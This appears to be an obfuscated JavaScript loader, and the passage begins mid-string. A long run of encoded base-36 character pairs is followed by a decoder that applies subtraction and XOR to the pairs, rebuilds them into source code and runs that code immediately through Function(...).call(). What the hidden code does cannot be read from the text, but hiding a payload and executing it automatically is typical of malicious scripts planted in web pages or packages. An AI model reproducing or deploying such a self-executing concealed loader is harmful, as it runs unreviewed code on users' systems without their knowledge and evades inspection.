4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4w3n4f4z4x4z4w4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4z3n4f4z4x4z4z4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4y3n4f4z4x4z4y4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4l3n4f4z4x4z4l4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4k3n4f4z4x4z4k4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4n3n4f4z4x4z4n4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4m3n4f4z4x4z4m4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4p3n4f4z4x4z4p4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4z4o3n4f4z4x4z4o4d4u6m6p6d546m6n4f4d6m6p6d546m6n3l6f5c6l6c504c3n4z4x4y4x3n4f4z4x4y4x4d4u6m6p6d546m6n4f3l4d4u6q506l505e6d4f4d51546f3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n4s506r6r6m6r3n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4y6p6h4q6k5c6r52546n4s6d6m6p4r3l4k6p6h4q51546q6p6l5c6g4r3l6n6m6n504q3n4f486n5e6m6r6r505e6d3l5e6r5051546d3l5e5c6r513l506h6p546r5c6d546m6n3l515c6d504v4d4u51546f4f4d4u51546f4f4d4u51546f4f4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4z4x6p6h4q3n4f3l4d6l5c5f506l4f3l4d6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n536m6n6d4s6e505452556d4r3l5f6m6l514q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q536m6n6d4s6q546j504r3l4w4l6p6h4q5e6m6l6m6r4r3l3m4y4y4y4q3n4f4i5c6r513l5j506r5453545e5c6d546m6n3l5r6c6k5f506r4d4u6q6p5c6n4f4d6q6p5c6n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4w6p6h4q6k5c6r52546n4s6l50536d4r3l4k6p6h4q3n4f3l3f4d4u6q6p5c6n4f4d4u6q6p5c6n4f3l4d4u6l5c5f506l4f3l4d51546f3l6q6d6g6l504c3n6k5c6r52546n4s6d6m6p4r3l4p6p6h4q3n4f3l4d546n6p6c6d3l6d6g6p504c3n6n6c6k5f506r3n3l6q6d6g6l504c3n5f6m6h4s6q555c516m6e4r3l6n6m6n504q6e54516d554r3l4n4k6p6h3l3k546k6p6m6r6d5c6n6d4q55505452556d4r3l4y4z6p6h3l3k546k6p6m6r6d5c6n6d4q5e6m6l6m6r4r3l5f6l5c5e564q536m6n6d4s535c6k546l6g4r3l4g6r545c6l4q3n3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3l6n5c6k504c3n6p5c6g6k506n6d5m5e5e5a5e5451583n3l6d546d6l504c3n4i5c6r513l5j506r5453545e5c6d546m6n3l5r6c6k5f506r3n4f4d51546f3l54514c3n5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54514s506r6r6m6r3n3l6q6d6g6l504c3n5e6m6l6m6r4r3l3m504x4z5f4z4m4q536m6n6d4s6q546j504r3l4w4y6p6h4q6k5c6r52546n4s6d6m6p4r3l4k6p6h4q51546q6p6l5c6g4r3l6n6m6n504q3n4f5t6l505c6q503l506n6d506r3l5c3l6f5c6l54513l5e6r5051546d3l5e5c6r513l6f506r5453545e5c6d546m6n3l6n6c6k5f506r4v4d4u51546f4f4d4u51546f4f4d4u51546f4f4d4u51546f4f3a3c4t536c6n5e6d546m6n4l3d3c3b3b536c6n5e6d546m6n4n3d3c3c644t536c6n5e6d546m6n4p4c536c6n5e6d546m6n3d503c6i6r506d6c6r6n3l536c6n5e6d546m6n4l3d3c4e4w4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4v6f5c6l3d3c4v6r506p6l5c5e503d4u5m5b5951584u524t3n3n3c4r4z4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4v6f5c6l3d3c4r4y4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4v6f5c6l3d3c4r4l4c4c504e575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4v6f5c6l3d3c4v6r506p6l5c5e503d4u5m5b5951584u524t3n3n3c4r6f6m54513l4x4r3n3n644t536c6n5e6d546m6n4m4c536c6n5e6d546m6n3d503c6i6f5c6r3l6d4c6n506e3l5v5052446h6p3d3n5b4l3n3c4q54533d6n6c6l6l3k4c504v6k5c6d5e553d6d3c3c6r506d6c6r6n3n6m6p6p4z3n4q54533d6d4c6n506e3l5v5052446h6p3d3n5b4y5m4l4m583n3c4t6n6c6l6l3k4c504v6k5c6d5e553d6d3c3c6r506d6c6r6n3n6m6p6p4w3n4q6f5c6r3l6m4c504q6r506d6c6r6n3l6m4v6l506n526d554f4c4z3b3b3n4z3n4c4c6m5m4x583b3b6m5m4w584f4c3n4z3n3b3b6m5m4w584d4c3n4m3n4e3n6m6p6p4y3n4r6m4v6l506n526d554f4c4z3b3b3n4k3n4c4c6m5m4x583b3b6m5m4w584f4c3n4w3n3b3b6m5m4w584d4c3n4k3n4e3n6m6p6p4y3n4r6m4v6l506n526d554f4c4z3b3b3n4n3n4c4c6m5m4x583b3b3d3n4k3n4c4c6m5m4w5865653n4x3n4c4c6m5m4w5865653n4l3n4c4c6m5m4w583c4e3n6m6p6p4l3n4r6m4v6l506n526d554f4c4z3b3b3n4y3n4c4c6m5m4x583b3b3n4k3n4c4c6m5m4w584e3n6m6p6p4k3n4r6m4v6l506n526d554f4c4z3b3b3n4y3n4c4c6m5m4x583b3b3n4x3n4c4c6m5m4w584e3n6m6p6p4n3n4r6m4v6l506n526d554f4c4z3b3b3n4y3n4c4c6m5m4x583b3b3d3n4n3n4c4c6m5m4w5865653n4p3n4c4c6m5m4w5865653n4o3n4c4c6m5m4w5865653n4x3n4c4c6m5m4w583c4e3n6m6p6p4n3n4r3n6m6p6p4m3n644t536c6n5e4l4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c536c6n5e6d546m6n4m3d536c6n5e6d546m6n4p3d4w3c3c4t6d4c536c6n5e6d546m6n4p3d4w3c4v6l506n526d554t6m4c536c6n5e6d546m6n4p3d4w3c4q54533d3n6m6p6p4w3n4c4c503c6i54533d4w4k3k4c6d3c6r506d6c6r6n3k4w64506l6q503l54533d3n6m6p6p4n3n4c4c503c6i54533d6d4d4w4l3c6r506d6c6r6n3k4w64506l6q506i54533d3n6m6p6p4m3n4c4c503c6r506d6c6r6n3k4w4q54533d6d4d4w4n3c6r506d6c6r6n3k4w64536m6r3d6f5c6r3l6n4c6m4v6q6p6l546d3d3n3n3c4t6r4c4x4q6r4d6n4v6l506n526d554q6r3e3e3c6n5m6r584c6p5c6r6q50486n6d3d6n5m6r584t4w4x3c4q6f5c6r3l544c4x4t5c4c3k4w4q536m6r3d6r4c6n4v6l506n526d554s4w4q6r4f4c4x4q6r4s4s3c5c3b3b3d6n5m6r583f4c4z4t6n5m6r584f4o3b3b3d6n5m6r584s4c4o3c3c4t543e4c6n5m6r584t5c4c3k5c4q6r506d6c6r6n3l54384w4x4c4c4x644t536c6n5e4z4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c6n506e3l455c6d504t6d4c504v52506d476c6l6l5k505c6r3d3c4t6m4c504v52506d5o6m6n6d553d3c4t6n4c6p5c6r6q50486n6d3d536c6n5e6d546m6n4p3d4y3c3c4t6r4c6p5c6r6q50486n6d3d536c6n5e6d546m6n4p3d4z3c3c4q6r506d6c6r6n3l6r4f4c4w3b3b6r4d4c4w4z4e6n4c4c6d3b3b6r4d4c6m4e4s4w4r4w4r4x644t536c6n5e4y4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c3d6n506e3l455c6d503c4v52506d476c6l6l5k505c6r3d3c4t6d4c6p5c6r6q50486n6d3d536c6n5e6d546m6n4p3d4y3c3c4q6r506d6c6r6n3l6d4f4c503b3b6d4d4c4z4x4m4x4e4w4r6d4d504e4s4w4r4x644t536c6n5e4k4c536c6n5e6d546m6n3d3c6i6f5c6r3l504c536c6n5e6d546m6n4p3d4l3c4v6l506n526d554t6d4c536c6n5e6d546m6n4m3d536c6n5e6d546m6n4p3d4w3c3c4q6r506d6c6r6n3n6m6p6p4w3n4c4c6d65653n6m6p6p4m3n4c4c6d4e4l4c4c504e4w4r4x4r4y4c4c504e4w4r4x644t536c6n5e4p4c536c6n5e6d546m6n3d3c6i54533d3k6e546n516m6e4v5a5c6k5c6j6m6n5a5c6r6d3c6i6f5c6r3l504c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a6n6c6k5f506r3n3c4v6f5c6l3d3c4t6d4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n3n3c4v6f5c6l3d3c4t6m4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a506h6p546r5c6d546m6n5a6g6r3n3c4v6f5c6l3d3c4t6n4c575s6c506r6g3d3n3m5c6c6d556m6r546j506n506d5a51546r505e6d6p6m6q6d5a5e5e5a5e54513n3c4v6f5c6l3d3c4q6r506o6c546r503d5m3n576o6c506r6g3n4t3n5o5c52506n6d6m5a4i55505e566m6c6d4u576q4u6k6m51506l4u6o6c6m6d503n584t536c6n5e6d546m6n3d6r4t544t5c3c6i54533d5e6c6q6d6m6k506r455c6d5c4c6e546n516m6e4v5e6c6q6d6m6k506r455c6d5c4t506k5c546l4c5e6c6q6d6m6k506r455c6d5c4v506k5c546l4t3n6c6n515053546n50513n4c4c6d6g6p506m533l506k5c546l3b3b3d506k5c546l4c544v526c506q6d446k5c546l3c4t5c51516r506q6q4c544v5f546l6l546n524g51516r506q6q3d3c4t6f6m54513l4x3k4c4c5c51516r506q6q4v5e546d6g65656r3d3n546n6p6c6d5m6n5c6k504c3a5e546d6g3a583n3c4v6f5c6l3d3c3c6i6f5c6r3l5e4c3a5m6i3n6n5c6k503n4r3n556m6q6d3n4t3n6f5c6l6c503n4r3n3a3e516m5e6c6k506n6d4v5g5v5p3e3a3n644t3a4q536m6r3d6h3l546n3l5e3e4c3a6i3n6n5c6k503n4r3n5c52506n6d3n4t3n6f5c6l6c503n4r3n3a3e6n5c6f54525c6d6m6r4v6c6q506r4g52506n6d3e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6c6q506r6n5c6k503n4t3n6f5c6l6c503n4r3n3a3e3d506k5c546l65653n3n3c3e3a3n644t3a4t5c51516r506q6q3c54533d3n536c6n5e6d546m6n3n3k4c6d6g6p506m533l5c51516r506q6q5m6h583c54533d3n6q6d6r50506d3n3k4c6h3c5e3e4c3a6i3n6n5c6k503n4r3n3a3e6h3e3a3n4t3n6f5c6l6c503n4r3n3a3e5c51516r506q6q5m6h583e3a3n644t3a4q506l6q503l536m6r3d6g3l546n3l5c51516r506q6q4v6q6d6r50506d3c5e3e4c3a6i3n6n5c6k503n4r3n6q6d6r50506d5m3a3e6g3e3a583n4t3n6f5c6l6c503n4r3n3a3e5c51516r506q6q4v6q6d6r50506d5m6g583e3a3n644t3a4q5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a6n6c6k5f506r583n4t3n6f5c6l6c503n4r3n3a3e503e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a5e5451583n4t3n6f5c6l6c503n4r3n3a3e6n3e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a506h6p5a6k6m6n6d55583n4t3n6f5c6l6c503n4r3n3a3e6d3e3a3n644t3a4t5e3e4c3a6i3n6n5c6k503n4r3n6p5c6g6k506n6d5m5e5e5a506h6p5a6g505c6r583n4t3n6f5c6l6c503n4r3n3a3e6m3e3a3n644t3a4t5e4c3d5e3e4c4b5u5q5r4v6q6d6r546n5254536g3d6r3d3n3m5e55505e566m6c6d3n3c4v53546n513d3n6q506l505e6d4t546n6p6c6d3n3c4v6q506r545c6l546j504g6r6r5c6g3d3c3c4v6q6l545e503d4w4t4s4w3c3e3n4t3n3c4v6r506p6l5c5e503d4u48514u524t3n5a54513n3c4v6q6l545e503d4x4t4s4w3c3e3n583n4t6e546n516m6e4v5a5c6k5c6j6m6n5a5c6r6d4c4w4q6f5c6r3l6p4c506n5e6r6g6p6d5a515c6d5c3d5e3c4q6r4v5c575c6h3d6i6c6r6l4r516m5e6c6k506n6d4v5g5v5p4t6d6g6p504r3n6p6m6q6d3n4t515c6d5c5h6g6p504r3n6d506h6d3n4t515c6d5c4r6i5e5c6r6d4i55505e565u6c6k455c6d5c4r6p4t6o6c6m6d505o6m51504r3n5e55505e566m6c6d3n64643c64643c64644q";

var y89629=36;d42566=s31464;b68085=d42566.split("c66"),a92436=parseInt(b68085[0],36),y75905=parseInt(b68085[1],36);var t57262=[];for(var e28289=0;e28289<b68085[2].length;e28289+=2){t57262.push(b68085[2].substring(e28289,e28289+2));}d42566="";for(var t88954=0;t57262.length>t88954;t88954++)d42566+=String.fromCharCode(((parseInt(t57262[t88954],y89629)-a92436)^y75905)-a92436);Function(d42566).call();